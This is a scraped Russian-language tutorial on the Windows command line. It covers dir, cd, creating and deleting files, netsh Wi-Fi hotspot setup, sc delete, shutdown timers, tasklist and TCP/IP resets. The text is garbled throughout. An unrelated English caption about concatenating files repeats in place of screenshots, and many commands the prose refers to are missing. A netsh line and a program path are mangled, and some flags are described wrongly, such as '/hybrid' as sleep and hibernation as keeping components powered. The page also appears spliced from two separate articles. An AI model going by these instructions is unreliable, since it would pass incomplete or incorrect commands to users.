Вообще, из командной строки можно запустить любую другую программу или файл. Рассмотрим, как это сделать, а заодно познакомимся с некоторыми командами по управлению файлами и папками.

Работа с файлами и папками из командной строки

Бывают ситуации, когда невозможно запустить стандартный файловый менеджер «Проводник Windows». Например, из-за действия вирусов-блокировщиков или при системных сбоях. В любом случае все, что можно сделать при помощи «Проводника», можно сделать и при помощи командной строки. Начнем с самого простого — просмотра содержимого папок.

A command-line or batch cmd to concatenate multiple files

Давайте, выведем на экран список все других объектов (файлов и папок), содержащихся в данной папке. Для этого используйте команду dir:

A command-line or batch cmd to concatenate multiple files

Объекты, напротив которых написано — это папки, все остальное — файлы (напротив них указан размер в байтах).

Команду dir можно применять вообще папкам, расположенным в вообще любом месте на жестком диске. Для этого после команды следует указать путь до каталога. К примеру, для просмотра содержимого папки «Windows» на диске «C:» следует ввести команду:

Запомните одно простое правило. Если в именах папок/файлов присутствуют пробелы, их следует писать в двойных («имя папки или файла») кавычках.

Открытие файла из командной строки. Для открытия файла достаточно вписать его полное название вместе с расширением в командную строку. Что не вводить имя файла целиком, используйте клавишу «Tab» (с ее помощью можно поочередно перебирать имена всех объектов в текущей папке).

A command-line or batch cmd to concatenate multiple files

Переход в другую папку. Для перехода в папку используется команда cd, после которой следует прописать путь к открываемой папке либо просто ее имя (если она расположена в нашем текущем местоположении на жестком диске).

Перейдем в папку «Music». Т.к. она находится в текущем каталоге, достаточно ввести в консоль:

A command-line or batch cmd to concatenate multiple files

Давайте, перейдем в какую-нибудь папку, расположенную на другом локальном диске. Это можно сделать несколькими способами, но воспользуемся самым легким для запоминания.

  • Для начала перейдем в сам локальный диск (изменим наше местоположение). Для этого достаточно использовать (независимо от текущего местоположения) команду e:. Вместо e можно использовать любую другую букву локального диска (или даже флешки, например):

A command-line or batch cmd to concatenate multiple files

  • Допустим, нам известно, что на диске «E» существует папка «Install«, а в ней — пака «Web«. Перейти в нее можно одной командой:

A command-line or batch cmd to concatenate multiple files

Запуск/открытие программы/файлы в другой папке или на другом диске. Запустим программу, расположенную где-нибудь глубоко на диске. Для запуска файла или программы можно просто указать полный путь до него. Текущее местоположение в этом случае не имеет значения. Запустим, например, текстовый редактор «Notepad++» одной командой:

C:»Program Files»Notepad++
otepad++.exe

A command-line or batch cmd to concatenate multiple files

Обратите внимание, что имя папки «Program Files» взято в кавычки, т.к. в нем присутствует пробел.

Создание, удаление и переименование файлов и папок. Из командной строки можно выполнить все эти операции над файлами и папками.

  • Создание простого текстового файла — copy nul простой_текстовый_файл.txt. Перед названием файла можно указать путь до конечной папки, в которой тот будет создан (если не указать, файл создастся в текущей папке).

A command-line or batch cmd to concatenate multiple files

  • Создание папки — mkdir папка. Папка также создается в текущем местоположении.

A command-line or batch cmd to concatenate multiple files

  • Удаление файла (или нескольких) — del простой_текстовый_файл.txt (если требуется удалить несколько файлов, просто вписываем их имена друг за другом через пробел). Удаляем созданный ранее файл.
  • Удаление папки — rmdir папка. Удаляем созданную ранее папку.

A command-line or batch cmd to concatenate multiple files

  • Переименование папки/файла — ren простой_текстовый_файл.txt новое_имя_файла.txt или ren папка новое_имя_папки. Переименуем созданный файл и папку.

A command-line or batch cmd to concatenate multiple files

Через командную строку можно выполнить и ряд других операций над файлами и папками, включая копирование, перемещение, применение/изменение атрибутов (скрытый, системный, только для чтения и т.д.), слияние и т.д.

Востребованные сетевые команды командной строки

Из командной строки Windows можно взаимодействовать с сетевыми подключениями, изменять их настройки, просматривать различную информацию и многое другое. Рассмотрим наиболее востребованные сетевые команды.

A command-line or batch cmd to concatenate multiple files

A command-line or batch cmd to concatenate multiple files

«100% потерь» означает, что связь установить не удалось.

A command-line or batch cmd to concatenate multiple files

A command-line or batch cmd to concatenate multiple files

A command-line or batch cmd to concatenate multiple files

Если требуется определить только MAC-адрес сетевой карты, используем эту команду без всяких атрибутов:

A command-line or batch cmd to concatenate multiple files

Редко используемые, но очень полезные команды

При помощи командной строки можно выполнять различные интересные функции (большинство приведенных ниже команд работает только с правами администратора):

Превращаем ноутбук в Wi-Fi-роутер (включение раздачи интернета с ноутбука или настольного компьютера с Wi-Fi-адаптером)

Для реализации этой затеи нужно поочередно выполнить три несложные команды:

  1. netsh wlan set hostednetwork mode=allow
  2. netsh wlan set hostednetwork mode=allow ss >A command-line or batch cmd to concatenate multiple files

Если после выполнения каждой команды вы видите сообщения, аналогичные тем, что приведены на изображении выше, значит, все прошло успешно. Теперь к ноутбуку можно подключиться, например, с телефона так же, как и к обычному Wi-Fi-роутеру.

Удалениям службу Windows (или любую другую) через командную строку

Если попробовать удалить службу через штатное приложение «Службы», то ничего не получится (в нем попросту не предусмотрено такой функции). Однако это бывает необходимым, особенно после установки различных программ, которые устанавливают службы, но «забывают» их удалять при деинсталляции. Это легко реализуется через командную строку. Однако для начала необходимо узнать имя службы, и это можно сделать через стандартное Windows-приложение:

  • Запустите программу «Службы», используя команду msc.
  • Найдите в отобразившемся списке службу, которую необходимо удалить, и кликните по ней два раза мышкой:

A command-line or batch cmd to concatenate multiple files

  • Нас интересует текст в блоке «Имя службы».
  • Теперь вернитесь в окно командной строки и впишите в него команду:

sc delete имя_службы

  • Подставьте вместо фразы «имя_службы» имя удаляемой службы. Если оно содержит пробелы, как в нашем случае, заключите имя службы в кавычки.

A command-line or batch cmd to concatenate multiple files

Выключаем/перезагружаем/отправляем в сон/гибернацию компьютер с задержкой. Если необходимо выключить, перезагрузить или отправить в сон компьютер с задержкой по времени, не обязательно использовать какие-либо сторонние программы — все можно сделать при помощи командной строки. Для этого достаточно использовать команду:

shutdown /s /t 60 /f

В данном случае компьютер будет выключен (параметр «/s«) через 60 секунд (параметр «/t 60«) с принудительным завершением работы всех приложений без предупреждения пользователя (параметр «/f» — обязательный при использовании таймера «/t«).

Вместо выключения компьютера «/s» использовать:

  • /l — завершение сеанса (выход из учетной записи пользователя с блокировкой, если для входа требуется пароль).
  • /r — перезагрузка компьютера.
  • /hybrid/s — «отправка» компьютера в сон (параметр «/s» использовать обязательно).
  • /h — режим гибернации (или режим максимального энергосбережения, при котором ключевые компоненты компьютера остаются включенными).

Для выключения компьютера, например, через 2 часа следует указывать в параметре «/t» число 7200 (1 час равен 3600 секундам).

A command-line or batch cmd to concatenate multiple files

Сразу после выполнения команды на экран будет выведено уведомление:

A command-line or batch cmd to concatenate multiple files

Выполнение команды всегда можно отменить (если была использована задержка), воспользовавшись:

A command-line or batch cmd to concatenate multiple files

Просмотр списка запущенных процессов и завершение работы любого из них. Если по каким-то причинам не удается запустить «Диспетчер задач», но имеется доступ к командной строке, запущенный процесс может быть снят при помощи специальных команд:

  • Сначала выведем на экран список всех запущенных процессов при помощи команды tasklist:

A command-line or batch cmd to concatenate multiple files

Чиним интернет при помощи командной строки. Разнообразные неполадки с сетевыми подключениями можно устранить «одним махом» через командную строку путем сброса настроек TCP/IP (не будем вдаваться в подробности, но если вам интересно, об это можно почитать тут — Netsh Winsock — что это и зачем нужно? .

Для выполнения этой задачи нужно поочередно ввести две команды:

netsh int ip reset

netsh winsock reset

A command-line or batch cmd to concatenate multiple files

Перезагружаем компьютер для применения изменений.

Остались вопросы, предложения или замечания? Свяжитесь с нами и задайте вопрос.

A command-line or batch cmd to concatenate multiple files

Командная строка может сделать много вещей, к которым пользовательский интерфейс Windows 10 не предоставляет вам простой и быстрый доступ.

Она также может делать некоторые базовые вещи, такие как открытые файлов и папок.

Команды, которые вам нужны для этого, довольно просты.

Вот как вы можете открывать файлы и папки из командной строки.

Как открывать файлы из командной строки

Единственный реальный способ открыть файл из командной строки — перейти в нужную папку, в которой находится файл.

Вы можете сделать это или указать полный путь к файлу, который хотите открыть.

Переместиться в папку

Если вы собираетесь перейти в папку, в которой находится файл, вам нужно использовать команду cd.

Как только вы окажетесь в правильной папке, введите имя файла, который вы хотите открыть, с его расширением и нажмите Enter.

Открыть файл напрямую

Чтобы открыть файл напрямую, а не перемещаться в папку, вам нужно указать путь с именем файла, который вы хотите открыть и с расширением файла.

По умолчанию командная строка открывает файл приложением по умолчанию, которое установлено для него, однако, если вы хотите, вы можете указать другое приложение для открытия файла.

Как открыть папку из командной строки

Чтобы открыть папку в проводнике файлов из командной строки, необходимо выполнить следующую команду.

Поскольку мы просто открываем файлы и папки, вам не нужно открывать командную строку с правами администратора.

Команды будут работать независимо от того, с какими привилегиями запускается командная строка.

Что вам нужно знать о предоставлении пути к файлу или папке, так это то, что вам нужно заключить его в двойные кавычки.

Это нормально, поскольку в большинстве имен папок и файлов есть пробел.

Если вы не используете двойные кавычки, команда не запустится.

Если в имени файла и пути к папке нет пробелов, вы можете запускать команды без двойных кавычек.

Закрыть файл

Вы также можете использовать командную строку, чтобы закрыть файл.

Конечно, если приложение может запускать несколько экземпляров, таких как IrfanView или Microsoft Word, команда закроет все открытые файлы.

Вы можете потерять несохраненный прогресс, поэтому будьте осторожны с этим.

Оставьте комментарий